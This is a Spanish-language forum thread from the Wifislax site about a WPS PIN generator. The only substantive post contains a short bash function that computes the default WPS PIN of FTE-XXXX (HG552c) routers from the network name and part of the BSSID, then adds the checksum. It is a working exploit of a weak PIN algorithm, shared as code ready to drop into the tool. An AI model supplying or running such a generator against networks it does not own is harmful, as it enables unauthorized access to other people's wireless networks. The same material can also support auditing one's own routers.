Autor Tema: Wps Pin Generator Wifislax 64 2.0  (Leído 1543 veces)

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Hwagm

  • Administrador
  • *
  • Mensajes: 17917
    • GNU/Linux Wifislax
Wps Pin Generator Wifislax 64 2.0
« en: 07-12-2019, 16:22 (Sábado) »




Desconectado USUARIONUEVO

  • Colaborador
  • *
  • Mensajes: 14608
Re:Wps Pin Generator Wifislax 64 2.0
« Respuesta #1 en: 07-12-2019, 21:01 (Sábado) »
Vaya , pues esa mac  , ni la tenia recogida ,  la metere en la lista , ya que funciona perfectamente con el generador para FTE

Código: [Seleccionar]
###################################################################
###################################################################
# Pin generator for FTE-XXXX (HG552c), original algorithm by kcdtv

FTE_Keygen() {
#FIN_ESSID=XXXX <- FTE-XXXX
  FIN_ESSID=$(echo $ESSID | cut -d '-' -f2)

#nos quedamos con el 4 par de la bssid xx:xx:xx:XX:xx:xx
  PAR=$(echo $BSSID_p2 | cut -d ':' -f1)
  PAR=$(echo $PAR | tr -d ':')

#hex=AB1234, donde essid es FTE-1234 y bssid es xx:xx:xx:AB:xx:xx
  hex=$(echo $PAR$FIN_ESSID)

  MAC=$(printf '%d' 0x$hex) #hex to dec

  PIN_p1=$((($MAC % 10000000)+7))  # elimina dígito más significativo de MAC y +7

  pin=$PIN_p1
  wps_pin_checksum
  PINWPS=$PIN_p1$PIN_p2
 
  # Rellenamos con ceros a la izquierda hasta que el número sea de 8 dígitos
  while [ ${#PINWPS} -lt 8 ]; do PINWPS=0${PINWPS}; done
}
###################################################################
###################################################################
« Última modificación: 07-12-2019, 21:04 (Sábado) por USUARIONUEVO »